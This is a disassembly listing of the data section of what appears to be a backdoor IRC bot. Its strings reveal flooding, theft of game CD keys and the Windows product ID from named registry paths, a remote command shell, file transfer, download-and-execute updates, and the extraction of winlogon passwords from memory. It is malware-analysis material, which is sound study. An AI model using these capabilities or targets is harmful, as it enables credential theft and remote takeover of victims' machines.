5357202Ch, 74654741h, 7473614Ch, 6F727245h dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h dd 2E642520h, 0 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 10h db 2Dh ; - db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 aSD db '%s%d ',0 align 4 dword_436134 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415134+35o dword_436148 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415134+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o align 10h dword_436180 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_41524C:loc_415281o dword_436194 dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_41524C+20o dword_4361A8 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: ___:00415369o dd 6574656Ch, 0 dword_4361C4 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: ___:004152CCo dd 676E6974h, 0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4153BC+11o aWindow db 'Window',0 ; DATA XREF: sub_4155F7+23o ; sub_4157F0+26o align 10h dd 80000001h off_4361F4 dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr ; sub_415A2F+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_436200 dd 2 dup(0) ; DATA XREF: sub_415A2F+26o dd 80000001h, 437384h, 437378h, 437368h, 2 dup(0) dd 80000001h, 437348h, 437344h, 437330h, 2 dup(0) dd 80000001h, 43730Ch, 437344h, 437300h, 2 dup(0) dd 80000001h, 4372DCh, 4372D4h, 4372C0h, 2 dup(0) dd 80000001h, 4372ACh, 43729Ch, 437280h, 2 dup(0) dd 80000001h, 43723Ch, 4373C4h, 437228h, 2 dup(0) dd 80000002h, 4371FCh, 4371F0h, 4371D0h, 2 dup(0) dd 80000002h, 43719Ch, 4373C4h, 437184h, 2 dup(0) dd 80000002h, 437150h, 4373C4h, 437138h, 2 dup(0) dd 80000002h, 437120h, 4373C4h, 437108h, 2 dup(0) dd 80000002h, 4370CCh, 43D128h, 4370BCh, 2 dup(0) dd 80000002h, 437084h, 43D128h, 437070h, 2 dup(0) dd 80000002h, 437024h, 43D128h, 437004h, 2 dup(0) dd 80000002h, 436FB4h, 43D128h, 436F88h, 2 dup(0) dd 80000002h, 436F4Ch, 43D128h, 436F38h, 2 dup(0) dd 80000002h, 436F00h, 43D128h, 436EF0h, 2 dup(0) dd 80000002h, 436EA0h, 43D128h, 436E74h, 2 dup(0) dd 80000002h, 436E34h, 43D128h, 436E18h, 2 dup(0) dd 80000002h, 436DE8h, 43D128h, 436DC8h, 2 dup(0) dd 80000002h, 436D8Ch, 43D128h, 436D78h, 2 dup(0) dd 80000002h, 436D30h, 43D128h, 436D10h, 2 dup(0) dd 80000002h, 436CBCh, 43D128h, 436C8Ch, 2 dup(0) dd 80000002h, 436C3Ch, 43D128h, 436C10h, 2 dup(0) dd 80000002h, 436BD0h, 436BC8h, 436BA8h, 2 dup(0) dd 80000002h, 436B64h, 43D128h, 436B48h, 2 dup(0) dd 80000002h, 436AFCh, 43D128h, 436AD8h, 2 dup(0) dd 80000002h, 436AA4h, 43D128h, 436A98h, 2 dup(0) dd 80000002h, 436A64h, 43D128h, 436A58h, 2 dup(0) dd 80000002h, 436A24h, 43D128h, 436A18h, 2 dup(0) dd 80000002h, 4369E4h, 43D128h, 4369D8h, 2 dup(0) dd 80000002h, 43699Ch, 43D128h, 436988h, 2 dup(0) dd 80000002h, 43694Ch, 43D128h, 436938h, 2 dup(0) dd 80000002h, 436908h, 4373C4h, 4368ECh, 2 dup(0) dd 80000002h, 4368CCh, 4368C4h, 4368A0h, 2 dup(0) dd 80000002h, 436884h, 4368C4h, 436864h, 2 dup(0) dd 80000002h, 436844h, 4368C4h, 436820h, 2 dup(0) dd 80000002h, 436808h, 4368C4h, 436804h, 2 dup(0) dd 80000002h, 4367E8h, 4367D8h, 4367D0h, 2 dup(0) dd 80000002h, 43679Ch, 42C218h, 436784h, 2 dup(0) dd 80000002h, 436748h, 43673Ch, 436714h, 436704h, 4366F0h dd 80000002h, 4366CCh, 4366C0h, 4366ACh, 43669Ch, 436694h dd 80000002h, 4366CCh, 4366C0h, 436668h, 43669Ch, 436660h dd 80000002h, 4366CCh, 4366C0h, 436630h, 43669Ch, 436628h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 10h aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 10h aChrome db 'Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 4 dd offset word_584F4E aSoftwareWestwo db 'Software\Westwood\NOX',0 align 10h aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 4 db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 4 aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 4 aNascarRacing20 db 'Nascar Racing 2003',0 align 4 db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2002',0 align 4 db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 4 db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 10h db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 10h aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 4 db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 4 db 53h aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 10h aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 10h db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 4 aGlobalOperatio db 'Global Operations',0 align 4 db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 4 db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 10h db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 10h aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 10h aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 4 db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 10h db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 4 aUnrealTourname db 'Unreal Tournament 2004',0 align 10h db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 4 db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 10h aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 10h aProductid db 'ProductId',0 align 4 db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 10h aLegendsOfMight db 'Legends of Might and Magic',0 align 4 aCustomernumber db 'CustomerNumber',0 align 4 aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 10h aHalfLife db 'Half-Life',0 align 4 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 10h aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004361FCo aCdkey db 'CDKey',0 ; DATA XREF: ___:004361F8o align 4 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4361F4o align 4 asc_4373F4: ; DATA XREF: sub_415A2F+E9o ; sub_415A2F+F4o unicode 0, <=>,0 dword_4373F8 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_415A2F+2Bo dd 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_437474 db 2Dh ; - ; DATA XREF: ___:00415F17o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 4 dword_437498 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: ___:0041617Co ; ___:00416312o dd 726F72h unk_4374B0 db 2Dh ; - ; DATA XREF: ___:00416114o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 unk_4374DC db 2Dh ; - ; DATA XREF: ___:0041601Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 10h dword_437500 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: ___:00415FE5o dd 74756Fh dword_437518 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: ___:00415F84o dd 169h unk_437530 db 2Dh ; - ; DATA XREF: ___:00415F41o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 10h unk_437550 db 2Dh ; - ; DATA XREF: ___:00415E9Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_437574 db 2Dh ; - ; DATA XREF: ___:00415E5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 4 unk_437598 db 2Dh ; - ; DATA XREF: ___:0041638Do db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_4375C4 db 2Dh ; - ; DATA XREF: ___:00416287o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_4375E4 db 2Dh ; - ; DATA XREF: ___:00416267o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 10h aAB db 'a+b',0 ; DATA XREF: ___:00416253o unk_437614 db 2Dh ; - ; DATA XREF: ___:0041623Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 unk_437644 db 2Dh ; - ; DATA XREF: ___:0041688Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_437670 db 2Dh ; - ; DATA XREF: ___:0041687Eo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_4376A4 db 2Dh ; - ; DATA XREF: ___:004167C2o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 4 dword_4376E8 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: ___:00416751o dd 25206465h, 73h unk_437704 db 2Dh ; - ; DATA XREF: ___:004166DAo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 unk_43773C db 2Dh ; - ; DATA XREF: ___:0041665Bo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_437764 db 2Dh ; - ; DATA XREF: ___:004165D1o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 10h unk_437790 db 2Dh ; - ; DATA XREF: ___:0041658Eo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 4 unk_4377B8 db 2Dh ; - ; DATA XREF: ___:0041657Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 10h unk_4377E0 db 2Dh ; - ; DATA XREF: ___:00416470o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_4169A1:loc_4169E4o ; sub_418EF6+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_4169A1:loc_4169DEo aDisk db 'Disk',0 ; DATA XREF: sub_4169A1:loc_4169D8o align 10h aNetwork db 'Network',0 ; DATA XREF: sub_4169A1:loc_4169D2o aCdrom db 'Cdrom',0 ; DATA XREF: sub_4169A1:loc_4169CCo align 10h off_437830 dd offset word_4D4152 ; DATA XREF: sub_4169A1:loc_4169C6o word_437834 dw 3Fh ; DATA XREF: sub_4169A1+1Fo ; sub_41AA42:loc_41AB44r align 4 aFailed db 'failed',0 ; DATA XREF: sub_416A32:loc_416B10o ; sub_416B56+3Bo align 10h aSkb db '%sKB',0 ; DATA XREF: sub_416A32+6Co align 4 unk_437848 db 2Dh ; - ; DATA XREF: sub_416B56+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 unk_437884 db 2Dh ; - ; DATA XREF: sub_416B56+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 aA_1 db 'A:\',0 ; DATA XREF: sub_416C28:loc_416C6Do db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h db 66h ; f db 6Fh, 75h, 6Eh db 64h ; d db 20h, 25h, 64h db 20h aFiles db 'files',0 align 4 db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h dd 73252064h, 73255Ch, 2A5C7325h, 0 unk_437930 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417093o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_437964 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417066o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_437990 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_41705Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 4 unk_4379C8 db 2Dh ; - ; DATA XREF: sub_416F1A+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 off_437A24 dd offset byte_530055 ; DATA XREF: sub_416F1A+DCo dd offset byte_520045 dd offset dword_4F0044 dd offset loc_41004D dd offset loc_4E0047+2 dd 0 off_437A3C dd offset byte_530055 ; DATA XREF: sub_416F1A+CEo dd offset byte_520045 dd offset loc_41004D+1 dd offset byte_45004D align 10h aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do align 4 aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o align 10h aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_416F1A+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o ; sub_416F1A+161o ... align 10h unk_437B00 db 2Dh ; - ; DATA XREF: sub_416F1A+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 10h aMsgina db 'MSGINA',0 ; DATA XREF: sub_4170EC+13Eo align 4 aNwgina db 'NWGINA',0 ; DATA XREF: sub_4170EC+123o align 10h aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_4170EC+AFo align 4 dword_437B4C dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417552+70o ; sub_4175E9+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_437B9C dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_4175E9+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h off_437BF0 dd offset aQ ; DATA XREF: sub_417ADD+5Cr ; "q" ; --------------------------------------------------------------------------- mov al, ds:38004387h lodsb inc edx add [ebx+eax*8], al inc edx add [eax-3Eh], bh inc edx add [edi+eax*4-5587FFBDh], bl inc edx add ah, dl retn 42h ; --------------------------------------------------------------------------- push esp stosb inc edx add ah, dl lodsb inc edx add ah, bl retn 42h ; --------------------------------------------------------------------------- dd offset aD ; "d" dd offset dword_438798 dd offset dword_438794 dd offset dword_438790 dd offset aJ ; "j" dd offset aK ; "k" dd offset dword_43878C dd offset dword_438788 dd offset dword_438784 dd offset aC ; "c" dd offset aV ; "v" dd offset dword_438780 dd offset aN ; "n" dd offset aM ; "m" dd offset dword_43877C dd offset dword_438778 dd offset dword_438774 dd offset dword_438770 dd offset dword_43876C dd offset word_438768 dd offset dword_438764 dd offset aI_0 ; "I" dd offset dword_438760 dd offset dword_43875C dd offset aA_0 ; "A" dd offset dword_438758 dd offset dword_438754 dd offset dword_438750 dd offset dword_43874C dd offset dword_438748 dd offset dword_438744 dd offset dword_438740 dd offset dword_43873C dd offset dword_438738 dd offset dword_438734 dd offset dword_438730 dd offset dword_43872C dd offset dword_438728 dd offset word_438724 dd offset aM_0 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_4384BC dd offset off_4384B8 dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; 